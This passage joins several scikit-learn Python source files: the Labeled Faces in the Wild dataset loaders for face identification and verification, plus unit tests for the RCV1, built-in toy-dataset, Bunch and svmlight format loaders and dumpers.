        faces = np.zeros((n_faces, h, w), dtype=np.float32)
    else:
        faces = np.zeros((n_faces, h, w, 3), dtype=np.float32)

    # iterate over the collected file path to load the jpeg files as numpy
    # arrays
    for i, file_path in enumerate(file_paths):
        if i % 1000 == 0:
            logger.info("Loading face #%05d / %05d", i + 1, n_faces)

        # Checks if jpeg reading worked. Refer to issue #3594 for more
        # details.
        img = imread(file_path)
        if img.ndim is 0:
            raise RuntimeError("Failed to read the image file %s, "
                               "Please make sure that libjpeg is installed"
                               % file_path)

        face = np.asarray(img[slice_], dtype=np.float32)
        face /= 255.0  # scale uint8 coded colors to the [0.0, 1.0] floats
        if resize is not None:
            face = imresize(face, resize)
        if not color:
            # average the color channels to compute a gray levels
            # representation
            face = face.mean(axis=2)

        faces[i, ...] = face

    return faces


#
# Task #1:  Face Identification on picture with names
#

def _fetch_lfw_people(data_folder_path, slice_=None, color=False, resize=None,
                      min_faces_per_person=0):
    """Perform the actual data loading for the lfw people dataset

    This operation is meant to be cached by a joblib wrapper.
    """
    # scan the data folder content to retain people with more that
    # `min_faces_per_person` face pictures
    person_names, file_paths = [], []
    for person_name in sorted(listdir(data_folder_path)):
        folder_path = join(data_folder_path, person_name)
        if not isdir(folder_path):
            continue
        paths = [join(folder_path, f) for f in listdir(folder_path)]
        n_pictures = len(paths)
        if n_pictures >= min_faces_per_person:
            person_name = person_name.replace('_', ' ')
            person_names.extend([person_name] * n_pictures)
            file_paths.extend(paths)

    n_faces = len(file_paths)
    if n_faces == 0:
        raise ValueError("min_faces_per_person=%d is too restrictive" %
                         min_faces_per_person)

    target_names = np.unique(person_names)
    target = np.searchsorted(target_names, person_names)

    faces = _load_imgs(file_paths, slice_, color, resize)

    # shuffle the faces with a deterministic RNG scheme to avoid having
    # all faces of the same person in a row, as it would break some
    # cross validation and learning algorithms such as SGD and online
    # k-means that make an IID assumption

    indices = np.arange(n_faces)
    np.random.RandomState(42).shuffle(indices)
    faces, target = faces[indices], target[indices]
    return faces, target, target_names


def fetch_lfw_people(data_home=None, funneled=True, resize=0.5,
                     min_faces_per_person=0, color=False,
                     slice_=(slice(70, 195), slice(78, 172)),
                     download_if_missing=True):
    """Loader for the Labeled Faces in the Wild (LFW) people dataset

    This dataset is a collection of JPEG pictures of famous people
    collected on the internet, all details are available on the
    official website:

        http://vis-www.cs.umass.edu/lfw/

    Each picture is centered on a single face. Each pixel of each channel
    (color in RGB) is encoded by a float in range 0.0 - 1.0.

    The task is called Face Recognition (or Identification): given the
    picture of a face, find the name of the person given a training set
    (gallery).

    The original images are 250 x 250 pixels, but the default slice and resize
    arguments reduce them to 62 x 74.

    Parameters
    ----------
    data_home : optional, default: None
        Specify another download and cache folder for the datasets. By default
        all scikit learn data is stored in '~/scikit_learn_data' subfolders.

    funneled : boolean, optional, default: True
        Download and use the funneled variant of the dataset.

    resize : float, optional, default 0.5
        Ratio used to resize the each face picture.

    min_faces_per_person : int, optional, default None
        The extracted dataset will only retain pictures of people that have at
        least `min_faces_per_person` different pictures.

    color : boolean, optional, default False
        Keep the 3 RGB channels instead of averaging them to a single
        gray level channel. If color is True the shape of the data has
        one more dimension than the shape with color = False.

    slice_ : optional
        Provide a custom 2D slice (height, width) to extract the
        'interesting' part of the jpeg files and avoid use statistical
        correlation from the background

    download_if_missing : optional, True by default
        If False, raise a IOError if the data is not locally available
        instead of trying to download the data from the source site.

    Returns
    -------
    dataset : dict-like object with the following attributes:

    dataset.data : numpy array of shape (13233, 2914)
        Each row corresponds to a ravelled face image of original size 62 x 47
        pixels. Changing the ``slice_`` or resize parameters will change the
        shape of the output.

    dataset.images : numpy array of shape (13233, 62, 47)
        Each row is a face image corresponding to one of the 5749 people in
        the dataset. Changing the ``slice_`` or resize parameters will change
        the shape of the output.

    dataset.target : numpy array of shape (13233,)
        Labels associated to each face image. Those labels range from 0-5748
        and correspond to the person IDs.

    dataset.DESCR : string
        Description of the Labeled Faces in the Wild (LFW) dataset.
    """
    lfw_home, data_folder_path = check_fetch_lfw(
        data_home=data_home, funneled=funneled,
        download_if_missing=download_if_missing)
    logger.info('Loading LFW people faces from %s', lfw_home)

    # wrap the loader in a memoizing function that will return memmaped data
    # arrays for optimal memory usage
    m = Memory(cachedir=lfw_home, compress=6, verbose=0)
    load_func = m.cache(_fetch_lfw_people)

    # load and memoize the pairs as np arrays
    faces, target, target_names = load_func(
        data_folder_path, resize=resize,
        min_faces_per_person=min_faces_per_person, color=color, slice_=slice_)

    # pack the results as a Bunch instance
    return Bunch(data=faces.reshape(len(faces), -1), images=faces,
                 target=target, target_names=target_names,
                 DESCR="LFW faces dataset")


#
# Task #2:  Face Verification on pairs of face pictures
#


def _fetch_lfw_pairs(index_file_path, data_folder_path, slice_=None,
                     color=False, resize=None):
    """Perform the actual data loading for the LFW pairs dataset

    This operation is meant to be cached by a joblib wrapper.
    """
    # parse the index file to find the number of pairs to be able to allocate
    # the right amount of memory before starting to decode the jpeg files
    with open(index_file_path, 'rb') as index_file:
        split_lines = [ln.strip().split(b('\t')) for ln in index_file]
    pair_specs = [sl for sl in split_lines if len(sl) > 2]
    n_pairs = len(pair_specs)

    # iterating over the metadata lines for each pair to find the filename to
    # decode and load in memory
    target = np.zeros(n_pairs, dtype=np.int)
    file_paths = list()
    for i, components in enumerate(pair_specs):
        if len(components) == 3:
            target[i] = 1
            pair = (
                (components[0], int(components[1]) - 1),
                (components[0], int(components[2]) - 1),
            )
        elif len(components) == 4:
            target[i] = 0
            pair = (
                (components[0], int(components[1]) - 1),
                (components[2], int(components[3]) - 1),
            )
        else:
            raise ValueError("invalid line %d: %r" % (i + 1, components))
        for j, (name, idx) in enumerate(pair):
            try:
                person_folder = join(data_folder_path, name)
            except TypeError:
                person_folder = join(data_folder_path, str(name, 'UTF-8'))
            filenames = list(sorted(listdir(person_folder)))
            file_path = join(person_folder, filenames[idx])
            file_paths.append(file_path)

    pairs = _load_imgs(file_paths, slice_, color, resize)
    shape = list(pairs.shape)
    n_faces = shape.pop(0)
    shape.insert(0, 2)
    shape.insert(0, n_faces // 2)
    pairs.shape = shape

    return pairs, target, np.array(['Different persons', 'Same person'])


@deprecated("Function 'load_lfw_people' has been deprecated in 0.17 and will "
            "be removed in 0.19."
            "Use fetch_lfw_people(download_if_missing=False) instead.")
def load_lfw_people(download_if_missing=False, **kwargs):
    """Alias for fetch_lfw_people(download_if_missing=False)

    Check fetch_lfw_people.__doc__ for the documentation and parameter list.
    """
    return fetch_lfw_people(download_if_missing=download_if_missing, **kwargs)


def fetch_lfw_pairs(subset='train', data_home=None, funneled=True, resize=0.5,
                    color=False, slice_=(slice(70, 195), slice(78, 172)),
                    download_if_missing=True):
    """Loader for the Labeled Faces in the Wild (LFW) pairs dataset

    This dataset is a collection of JPEG pictures of famous people
    collected on the internet, all details are available on the
    official website:

        http://vis-www.cs.umass.edu/lfw/

    Each picture is centered on a single face. Each pixel of each channel
    (color in RGB) is encoded by a float in range 0.0 - 1.0.

    The task is called Face Verification: given a pair of two pictures,
    a binary classifier must predict whether the two images are from
    the same person.

    In the official `README.txt`_ this task is described as the
    "Restricted" task.  As I am not sure as to implement the
    "Unrestricted" variant correctly, I left it as unsupported for now.

      .. _`README.txt`: http://vis-www.cs.umass.edu/lfw/README.txt

    The original images are 250 x 250 pixels, but the default slice and resize
    arguments reduce them to 62 x 74.

    Read more in the :ref:`User Guide <labeled_faces_in_the_wild>`.

    Parameters
    ----------
    subset : optional, default: 'train'
        Select the dataset to load: 'train' for the development training
        set, 'test' for the development test set, and '10_folds' for the
        official evaluation set that is meant to be used with a 10-folds
        cross validation.

    data_home : optional, default: None
        Specify another download and cache folder for the datasets. By
        default all scikit learn data is stored in '~/scikit_learn_data'
        subfolders.

    funneled : boolean, optional, default: True
        Download and use the funneled variant of the dataset.

    resize : float, optional, default 0.5
        Ratio used to resize the each face picture.

    color : boolean, optional, default False
        Keep the 3 RGB channels instead of averaging them to a single
        gray level channel. If color is True the shape of the data has
        one more dimension than the shape with color = False.

    slice_ : optional
        Provide a custom 2D slice (height, width) to extract the
        'interesting' part of the jpeg files and avoid use statistical
        correlation from the background

    download_if_missing : optional, True by default
        If False, raise a IOError if the data is not locally available
        instead of trying to download the data from the source site.

    Returns
    -------
    The data is returned as a Bunch object with the following attributes:

    data : numpy array of shape (2200, 5828). Shape depends on ``subset``.
        Each row corresponds to 2 ravel'd face images of original size 62 x 47
        pixels. Changing the ``slice_``, ``resize`` or ``subset`` parameters
        will change the shape of the output.

    pairs : numpy array of shape (2200, 2, 62, 47). Shape depends on
            ``subset``.
        Each row has 2 face images corresponding to same or different person
        from the dataset containing 5749 people. Changing the ``slice_``,
        ``resize`` or ``subset`` parameters will change the shape of the
        output.

    target : numpy array of shape (2200,). Shape depends on ``subset``.
        Labels associated to each pair of images. The two label values being
        different persons or the same person.

    DESCR : string
        Description of the Labeled Faces in the Wild (LFW) dataset.

    """
    lfw_home, data_folder_path = check_fetch_lfw(
        data_home=data_home, funneled=funneled,
        download_if_missing=download_if_missing)
    logger.info('Loading %s LFW pairs from %s', subset, lfw_home)

    # wrap the loader in a memoizing function that will return memmaped data
    # arrays for optimal memory usage
    m = Memory(cachedir=lfw_home, compress=6, verbose=0)
    load_func = m.cache(_fetch_lfw_pairs)

    # select the right metadata file according to the requested subset
    label_filenames = {
        'train': 'pairsDevTrain.txt',
        'test': 'pairsDevTest.txt',
        '10_folds': 'pairs.txt',
    }
    if subset not in label_filenames:
        raise ValueError("subset='%s' is invalid: should be one of %r" % (
            subset, list(sorted(label_filenames.keys()))))
    index_file_path = join(lfw_home, label_filenames[subset])

    # load and memoize the pairs as np arrays
    pairs, target, target_names = load_func(
        index_file_path, data_folder_path, resize=resize, color=color,
        slice_=slice_)

    # pack the results as a Bunch instance
    return Bunch(data=pairs.reshape(len(pairs), -1), pairs=pairs,
                 target=target, target_names=target_names,
                 DESCR="'%s' segment of the LFW pairs dataset" % subset)


@deprecated("Function 'load_lfw_pairs' has been deprecated in 0.17 and will "
            "be removed in 0.19."
            "Use fetch_lfw_pairs(download_if_missing=False) instead.")
def load_lfw_pairs(download_if_missing=False, **kwargs):
    """Alias for fetch_lfw_pairs(download_if_missing=False)

    Check fetch_lfw_pairs.__doc__ for the documentation and parameter list.
    """
    return fetch_lfw_pairs(download_if_missing=download_if_missing, **kwargs)






"""Test the rcv1 loader.

Skipped if rcv1 is not already downloaded to data_home.
"""

import errno
import scipy.sparse as sp
import numpy as np
from sklearn.datasets import fetch_rcv1
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import SkipTest


def test_fetch_rcv1():
    try:
        data1 = fetch_rcv1(shuffle=False, download_if_missing=False)
    except IOError as e:
        if e.errno == errno.ENOENT:
            raise SkipTest("Download RCV1 dataset to run this test.")

    X1, Y1 = data1.data, data1.target
    cat_list, s1 = data1.target_names.tolist(), data1.sample_id

    # test sparsity
    assert_true(sp.issparse(X1))
    assert_true(sp.issparse(Y1))
    assert_equal(60915113, X1.data.size)
    assert_equal(2606875, Y1.data.size)

    # test shapes
    assert_equal((804414, 47236), X1.shape)
    assert_equal((804414, 103), Y1.shape)
    assert_equal((804414,), s1.shape)
    assert_equal(103, len(cat_list))

    # test ordering of categories
    first_categories = [u'C11', u'C12', u'C13', u'C14', u'C15', u'C151']
    assert_array_equal(first_categories, cat_list[:6])

    # test number of sample for some categories
    some_categories = ('GMIL', 'E143', 'CCAT')
    number_non_zero_in_cat = (5, 1206, 381327)
    for num, cat in zip(number_non_zero_in_cat, some_categories):
        j = cat_list.index(cat)
        assert_equal(num, Y1[:, j].data.size)

    # test shuffling and subset
    data2 = fetch_rcv1(shuffle=True, subset='train', random_state=77,
                       download_if_missing=False)
    X2, Y2 = data2.data, data2.target
    s2 = data2.sample_id

    # The first 23149 samples are the training samples
    assert_array_equal(np.sort(s1[:23149]), np.sort(s2))

    # test some precise values
    some_sample_ids = (2286, 3274, 14042)
    for sample_id in some_sample_ids:
        idx1 = s1.tolist().index(sample_id)
        idx2 = s2.tolist().index(sample_id)

        feature_values_1 = X1[idx1, :].toarray()
        feature_values_2 = X2[idx2, :].toarray()
        assert_almost_equal(feature_values_1, feature_values_2)

        target_values_1 = Y1[idx1, :].toarray()
        target_values_2 = Y2[idx2, :].toarray()
        assert_almost_equal(target_values_1, target_values_2)






import os
import shutil
import tempfile
import warnings
import nose
import numpy
from pickle import loads
from pickle import dumps

from sklearn.datasets import get_data_home
from sklearn.datasets import clear_data_home
from sklearn.datasets import load_files
from sklearn.datasets import load_sample_images
from sklearn.datasets import load_sample_image
from sklearn.datasets import load_digits
from sklearn.datasets import load_diabetes
from sklearn.datasets import load_linnerud
from sklearn.datasets import load_iris
from sklearn.datasets import load_breast_cancer
from sklearn.datasets import load_boston
from sklearn.datasets.base import Bunch

from sklearn.externals.six import b, u

from sklearn.utils.testing import assert_false
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_array_equal


DATA_HOME = tempfile.mkdtemp(prefix="scikit_learn_data_home_test_")
LOAD_FILES_ROOT = tempfile.mkdtemp(prefix="scikit_learn_load_files_test_")
TEST_CATEGORY_DIR1 = ""
TEST_CATEGORY_DIR2 = ""


def _remove_dir(path):
    if os.path.isdir(path):
        shutil.rmtree(path)


def teardown_module():
    """Test fixture (clean up) run once after all tests of this module"""
    for path in [DATA_HOME, LOAD_FILES_ROOT]:
        _remove_dir(path)


def setup_load_files():
    global TEST_CATEGORY_DIR1
    global TEST_CATEGORY_DIR2
    TEST_CATEGORY_DIR1 = tempfile.mkdtemp(dir=LOAD_FILES_ROOT)
    TEST_CATEGORY_DIR2 = tempfile.mkdtemp(dir=LOAD_FILES_ROOT)
    sample_file = tempfile.NamedTemporaryFile(dir=TEST_CATEGORY_DIR1,
                                              delete=False)
    sample_file.write(b("Hello World!\n"))
    sample_file.close()


def teardown_load_files():
    _remove_dir(TEST_CATEGORY_DIR1)
    _remove_dir(TEST_CATEGORY_DIR2)


def test_data_home():
    # get_data_home will point to a pre-existing folder
    data_home = get_data_home(data_home=DATA_HOME)
    assert_equal(data_home, DATA_HOME)
    assert_true(os.path.exists(data_home))

    # clear_data_home will delete both the content and the folder it-self
    clear_data_home(data_home=data_home)
    assert_false(os.path.exists(data_home))

    # if the folder is missing it will be created again
    data_home = get_data_home(data_home=DATA_HOME)
    assert_true(os.path.exists(data_home))


def test_default_empty_load_files():
    res = load_files(LOAD_FILES_ROOT)
    assert_equal(len(res.filenames), 0)
    assert_equal(len(res.target_names), 0)
    assert_equal(res.DESCR, None)


@nose.tools.with_setup(setup_load_files, teardown_load_files)
def test_default_load_files():
    res = load_files(LOAD_FILES_ROOT)
    assert_equal(len(res.filenames), 1)
    assert_equal(len(res.target_names), 2)
    assert_equal(res.DESCR, None)
    assert_equal(res.data, [b("Hello World!\n")])


@nose.tools.with_setup(setup_load_files, teardown_load_files)
def test_load_files_w_categories_desc_and_encoding():
    category = os.path.abspath(TEST_CATEGORY_DIR1).split('/').pop()
    res = load_files(LOAD_FILES_ROOT, description="test",
                     categories=category, encoding="utf-8")
    assert_equal(len(res.filenames), 1)
    assert_equal(len(res.target_names), 1)
    assert_equal(res.DESCR, "test")
    assert_equal(res.data, [u("Hello World!\n")])


@nose.tools.with_setup(setup_load_files, teardown_load_files)
def test_load_files_wo_load_content():
    res = load_files(LOAD_FILES_ROOT, load_content=False)
    assert_equal(len(res.filenames), 1)
    assert_equal(len(res.target_names), 2)
    assert_equal(res.DESCR, None)
    assert_equal(res.get('data'), None)


def test_load_sample_images():
    try:
        res = load_sample_images()
        assert_equal(len(res.images), 2)
        assert_equal(len(res.filenames), 2)
        assert_true(res.DESCR)
    except ImportError:
        warnings.warn("Could not load sample images, PIL is not available.")


def test_load_digits():
    digits = load_digits()
    assert_equal(digits.data.shape, (1797, 64))
    assert_equal(numpy.unique(digits.target).size, 10)

    # test return_X_y option
    X_y_tuple = load_digits(return_X_y=True)
    bunch = load_digits()
    assert_true(isinstance(X_y_tuple, tuple))
    assert_array_equal(X_y_tuple[0], bunch.data)
    assert_array_equal(X_y_tuple[1], bunch.target)


def test_load_digits_n_class_lt_10():
    digits = load_digits(9)
    assert_equal(digits.data.shape, (1617, 64))
    assert_equal(numpy.unique(digits.target).size, 9)


def test_load_sample_image():
    try:
        china = load_sample_image('china.jpg')
        assert_equal(china.dtype, 'uint8')
        assert_equal(china.shape, (427, 640, 3))
    except ImportError:
        warnings.warn("Could not load sample images, PIL is not available.")


def test_load_missing_sample_image_error():
    have_PIL = True
    try:
        try:
            from scipy.misc import imread
        except ImportError:
            from scipy.misc.pilutil import imread
    except ImportError:
        have_PIL = False
    if have_PIL:
        assert_raises(AttributeError, load_sample_image,
                      'blop.jpg')
    else:
        warnings.warn("Could not load sample images, PIL is not available.")


def test_load_diabetes():
    res = load_diabetes()
    assert_equal(res.data.shape, (442, 10))
    assert_true(res.target.size, 442)

    # test return_X_y option
    X_y_tuple = load_diabetes(return_X_y=True)
    bunch = load_diabetes()
    assert_true(isinstance(X_y_tuple, tuple))
    assert_array_equal(X_y_tuple[0], bunch.data)
    assert_array_equal(X_y_tuple[1], bunch.target)


def test_load_linnerud():
    res = load_linnerud()
    assert_equal(res.data.shape, (20, 3))
    assert_equal(res.target.shape, (20, 3))
    assert_equal(len(res.target_names), 3)
    assert_true(res.DESCR)

    # test return_X_y option
    X_y_tuple = load_linnerud(return_X_y=True)
    bunch = load_linnerud()
    assert_true(isinstance(X_y_tuple, tuple))
    assert_array_equal(X_y_tuple[0], bunch.data)
    assert_array_equal(X_y_tuple[1], bunch.target)

def test_load_iris():
    res = load_iris()
    assert_equal(res.data.shape, (150, 4))
    assert_equal(res.target.size, 150)
    assert_equal(res.target_names.size, 3)
    assert_true(res.DESCR)

    # test return_X_y option
    X_y_tuple = load_iris(return_X_y=True)
    bunch = load_iris()
    assert_true(isinstance(X_y_tuple, tuple))
    assert_array_equal(X_y_tuple[0], bunch.data)
    assert_array_equal(X_y_tuple[1], bunch.target)


def test_load_breast_cancer():
    res = load_breast_cancer()
    assert_equal(res.data.shape, (569, 30))
    assert_equal(res.target.size, 569)
    assert_equal(res.target_names.size, 2)
    assert_true(res.DESCR)

    # test return_X_y option
    X_y_tuple = load_breast_cancer(return_X_y=True)
    bunch = load_breast_cancer()
    assert_true(isinstance(X_y_tuple, tuple))
    assert_array_equal(X_y_tuple[0], bunch.data)
    assert_array_equal(X_y_tuple[1], bunch.target)


def test_load_boston():
    res = load_boston()
    assert_equal(res.data.shape, (506, 13))
    assert_equal(res.target.size, 506)
    assert_equal(res.feature_names.size, 13)
    assert_true(res.DESCR)

    # test return_X_y option
    X_y_tuple = load_boston(return_X_y=True)
    bunch = load_boston()
    assert_true(isinstance(X_y_tuple, tuple))
    assert_array_equal(X_y_tuple[0], bunch.data)
    assert_array_equal(X_y_tuple[1], bunch.target)

def test_loads_dumps_bunch():
    bunch = Bunch(x="x")
    bunch_from_pkl = loads(dumps(bunch))
    bunch_from_pkl.x = "y"
    assert_equal(bunch_from_pkl['x'], bunch_from_pkl.x)


def test_bunch_pickle_generated_with_0_16_and_read_with_0_17():
    bunch = Bunch(key='original')
    # This reproduces a problem when Bunch pickles have been created
    # with scikit-learn 0.16 and are read with 0.17. Basically there
    # is a suprising behaviour because reading bunch.key uses
    # bunch.__dict__ (which is non empty for 0.16 Bunch objects)
    # whereas assigning into bunch.key uses bunch.__setattr__. See
    # https://github.com/scikit-learn/scikit-learn/issues/6196 for
    # more details
    bunch.__dict__['key'] = 'set from __dict__'
    bunch_from_pkl = loads(dumps(bunch))
    # After loading from pickle the __dict__ should have been ignored
    assert_equal(bunch_from_pkl.key, 'original')
    assert_equal(bunch_from_pkl['key'], 'original')
    # Making sure that changing the attr does change the value
    # associated with __getitem__ as well
    bunch_from_pkl.key = 'changed'
    assert_equal(bunch_from_pkl.key, 'changed')
    assert_equal(bunch_from_pkl['key'], 'changed')


def test_bunch_dir():
    # check that dir (important for autocomplete) shows attributes
    data = load_iris()
    assert_true("data" in dir(data))






from bz2 import BZ2File
import gzip
from io import BytesIO
import numpy as np
import scipy.sparse as sp
import os
import shutil
from tempfile import NamedTemporaryFile

from sklearn.externals.six import b

from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import raises
from sklearn.utils.testing import assert_in

import sklearn
from sklearn.datasets import (load_svmlight_file, load_svmlight_files,
                              dump_svmlight_file)

currdir = os.path.dirname(os.path.abspath(__file__))
datafile = os.path.join(currdir, "data", "svmlight_classification.txt")
multifile = os.path.join(currdir, "data", "svmlight_multilabel.txt")
invalidfile = os.path.join(currdir, "data", "svmlight_invalid.txt")
invalidfile2 = os.path.join(currdir, "data", "svmlight_invalid_order.txt")


def test_load_svmlight_file():
    X, y = load_svmlight_file(datafile)

    # test X's shape
    assert_equal(X.indptr.shape[0], 7)
    assert_equal(X.shape[0], 6)
    assert_equal(X.shape[1], 21)
    assert_equal(y.shape[0], 6)

    # test X's non-zero values
    for i, j, val in ((0, 2, 2.5), (0, 10, -5.2), (0, 15, 1.5),
                     (1, 5, 1.0), (1, 12, -3),
                     (2, 20, 27)):

        assert_equal(X[i, j], val)

    # tests X's zero values
    assert_equal(X[0, 3], 0)
    assert_equal(X[0, 5], 0)
    assert_equal(X[1, 8], 0)
    assert_equal(X[1, 16], 0)
    assert_equal(X[2, 18], 0)

    # test can change X's values
    X[0, 2] *= 2
    assert_equal(X[0, 2], 5)

    # test y
    assert_array_equal(y, [1, 2, 3, 4, 1, 2])


def test_load_svmlight_file_fd():
    # test loading from file descriptor
    X1, y1 = load_svmlight_file(datafile)

    fd = os.open(datafile, os.O_RDONLY)
    try:
        X2, y2 = load_svmlight_file(fd)
        assert_array_equal(X1.data, X2.data)
        assert_array_equal(y1, y2)
    finally:
        os.close(fd)


def test_load_svmlight_file_multilabel():
    X, y = load_svmlight_file(multifile, multilabel=True)
    assert_equal(y, [(0, 1), (2,), (), (1, 2)])


def test_load_svmlight_files():
    X_train, y_train, X_test, y_test = load_svmlight_files([datafile] * 2,
                                                           dtype=np.float32)
    assert_array_equal(X_train.toarray(), X_test.toarray())
    assert_array_equal(y_train, y_test)
    assert_equal(X_train.dtype, np.float32)
    assert_equal(X_test.dtype, np.float32)

    X1, y1, X2, y2, X3, y3 = load_svmlight_files([datafile] * 3,
                                                 dtype=np.float64)
    assert_equal(X1.dtype, X2.dtype)
    assert_equal(X2.dtype, X3.dtype)
    assert_equal(X3.dtype, np.float64)


def test_load_svmlight_file_n_features():
    X, y = load_svmlight_file(datafile, n_features=22)

    # test X'shape
    assert_equal(X.indptr.shape[0], 7)
    assert_equal(X.shape[0], 6)
    assert_equal(X.shape[1], 22)

    # test X's non-zero values
    for i, j, val in ((0, 2, 2.5), (0, 10, -5.2),
                     (1, 5, 1.0), (1, 12, -3)):

        assert_equal(X[i, j], val)

    # 21 features in file
    assert_raises(ValueError, load_svmlight_file, datafile, n_features=20)


def test_load_compressed():
    X, y = load_svmlight_file(datafile)

    with NamedTemporaryFile(prefix="sklearn-test", suffix=".gz") as tmp:
        tmp.close()  # necessary under windows
        with open(datafile, "rb") as f:
            shutil.copyfileobj(f, gzip.open(tmp.name, "wb"))
        Xgz, ygz = load_svmlight_file(tmp.name)
        # because we "close" it manually and write to it,
        # we need to remove it manually.
        os.remove(tmp.name)
    assert_array_equal(X.toarray(), Xgz.toarray())
    assert_array_equal(y, ygz)

    with NamedTemporaryFile(prefix="sklearn-test", suffix=".bz2") as tmp:
        tmp.close()  # necessary under windows
        with open(datafile, "rb") as f:
            shutil.copyfileobj(f, BZ2File(tmp.name, "wb"))
        Xbz, ybz = load_svmlight_file(tmp.name)
        # because we "close" it manually and write to it,
        # we need to remove it manually.
        os.remove(tmp.name)
    assert_array_equal(X.toarray(), Xbz.toarray())
    assert_array_equal(y, ybz)


@raises(ValueError)
def test_load_invalid_file():
    load_svmlight_file(invalidfile)


@raises(ValueError)
def test_load_invalid_order_file():
    load_svmlight_file(invalidfile2)


@raises(ValueError)
def test_load_zero_based():
    f = BytesIO(b("-1 4:1.\n1 0:1\n"))
    load_svmlight_file(f, zero_based=False)


def test_load_zero_based_auto():
    data1 = b("-1 1:1 2:2 3:3\n")
    data2 = b("-1 0:0 1:1\n")

    f1 = BytesIO(data1)
    X, y = load_svmlight_file(f1, zero_based="auto")
    assert_equal(X.shape, (1, 3))

    f1 = BytesIO(data1)
    f2 = BytesIO(data2)
    X1, y1, X2, y2 = load_svmlight_files([f1, f2], zero_based="auto")
    assert_equal(X1.shape, (1, 4))
    assert_equal(X2.shape, (1, 4))


def test_load_with_qid():
    # load svmfile with qid attribute
    data = b("""
    3 qid:1 1:0.53 2:0.12
    2 qid:1 1:0.13 2:0.1
    7 qid:2 1:0.87 2:0.12""")
    X, y = load_svmlight_file(BytesIO(data), query_id=False)
    assert_array_equal(y, [3, 2, 7])
    assert_array_equal(X.toarray(), [[.53, .12], [.13, .1], [.87, .12]])
    res1 = load_svmlight_files([BytesIO(data)], query_id=True)
    res2 = load_svmlight_file(BytesIO(data), query_id=True)
    for X, y, qid in (res1, res2):
        assert_array_equal(y, [3, 2, 7])
        assert_array_equal(qid, [1, 1, 2])
        assert_array_equal(X.toarray(), [[.53, .12], [.13, .1], [.87, .12]])


@raises(ValueError)
def test_load_invalid_file2():
    load_svmlight_files([datafile, invalidfile, datafile])


@raises(TypeError)
def test_not_a_filename():
    # in python 3 integers are valid file opening arguments (taken as unix
    # file descriptors)
    load_svmlight_file(.42)


@raises(IOError)
def test_invalid_filename():
    load_svmlight_file("trou pic nic douille")


def test_dump():
    X_sparse, y_dense = load_svmlight_file(datafile)
    X_dense = X_sparse.toarray()
    y_sparse = sp.csr_matrix(y_dense)

    # slicing a csr_matrix can unsort its .indices, so test that we sort
    # those correctly
    X_sliced = X_sparse[np.arange(X_sparse.shape[0])]
    y_sliced = y_sparse[np.arange(y_sparse.shape[0])]

    for X in (X_sparse, X_dense, X_sliced):
        for y in (y_sparse, y_dense, y_sliced):
            for zero_based in (True, False):
                for dtype in [np.float32, np.float64, np.int32]:
                    f = BytesIO()
                    # we need to pass a comment to get the version info in;
                    # LibSVM doesn't grok comments so they're not put in by
                    # default anymore.

                    if (sp.issparse(y) and y.shape[0] == 1):
                        # make sure y's shape is: (n_samples, n_labels)
                        # when it is sparse
                        y = y.T

                    dump_svmlight_file(X.astype(dtype), y, f, comment="test",
                                       zero_based=zero_based)
                    f.seek(0)

                    comment = f.readline()
                    try:
                        comment = str(comment, "utf-8")
                    except TypeError:  # fails in Python 2.x
                        pass

                    assert_in("scikit-learn %s" % sklearn.__version__, comment)

                    comment = f.readline()
                    try:
                        comment = str(comment, "utf-8")
                    except TypeError:  # fails in Python 2.x
                        pass

                    assert_in(["one", "zero"][zero_based] + "-based", comment)

                    X2, y2 = load_svmlight_file(f, dtype=dtype,
                                                zero_based=zero_based)
                    assert_equal(X2.dtype, dtype)
                    assert_array_equal(X2.sorted_indices().indices, X2.indices)

                    X2_dense = X2.toarray()

                    if dtype == np.float32:
                        # allow a rounding error at the last decimal place
                        assert_array_almost_equal(
                            X_dense.astype(dtype), X2_dense, 4)
                        assert_array_almost_equal(
                            y_dense.astype(dtype), y2, 4)
                    else:
                        # allow a rounding error at the last decimal place
                        assert_array_almost_equal(
                            X_dense.astype(dtype), X2_dense, 15)
                        assert_array_almost_equal(
                            y_dense.astype(dtype), y2, 15)


def test_dump_multilabel():
    X = [[1, 0, 3, 0, 5],
         [0, 0, 0, 0, 0],
         [0, 5, 0, 1, 0]]
    y_dense = [[0, 1, 0], [1, 0, 1], [1, 1, 0]]
    y_sparse = sp.csr_matrix(y_dense)
    for y in [y_dense, y_sparse]:
        f = BytesIO()
        dump_svmlight_file(X, y, f, multilabel=True)
        f.seek(0)
        # make sure it dumps multilabel correctly
        assert_equal(f.readline(), b("1 0:1 2:3 4:5\n"))
        assert_equal(f.readline(), b("0,2 \n"))
        assert_equal(f.readline(), b("0,1 1:5 3:1\n"))


def test_dump_concise():
    one = 1
    two = 2.1
    three = 3.01
    exact = 1.000000000000001
    # loses the last decimal place
    almost = 1.0000000000000001
    X = [[one, two, three, exact, almost],
         [1e9, 2e18, 3e27, 0, 0],
         [0, 0, 0, 0, 0],
         [0, 0, 0, 0, 0],
         [0, 0, 0, 0, 0]]
    y = [one, two, three, exact, almost]
    f = BytesIO()
    dump_svmlight_file(X, y, f)
    f.seek(0)
    # make sure it's using the most concise format possible
    assert_equal(f.readline(),
                 b("1 0:1 1:2.1 2:3.01 3:1.000000000000001 4:1\n"))
    assert_equal(f.readline(), b("2.1 0:1000000000 1:2e+18 2:3e+27\n"))
    assert_equal(f.readline(), b("3.01 \n"))
    assert_equal(f.readline(), b("1.000000000000001 \n"))
    assert_equal(f.readline(), b("1 \n"))
    f.seek(0)
    # make sure it's correct too :)
    X2, y2 = load_svmlight_file(f)
    assert_array_almost_equal(X, X2.toarray())
    assert_array_equal(y, y2)


def test_dump_comment():
    X, y = load_svmlight_file(datafile)
    X = X.toarray()

    f = BytesIO()
    ascii_comment = "This is a comment\nspanning multiple lines."
    dump_svmlight_file(X, y, f, comment=ascii_comment, zero_based=False)
    f.seek(0)

    X2, y2 = load_svmlight_file(f, zero_based=False)
    assert_array_almost_equal(X, X2.toarray())
    assert_array_equal(y, y2)

    # XXX we have to update this to support Python 3.x
    utf8_comment = b("It is true that\n\xc2\xbd\xc2\xb2 = \xc2\xbc")
    f = BytesIO()
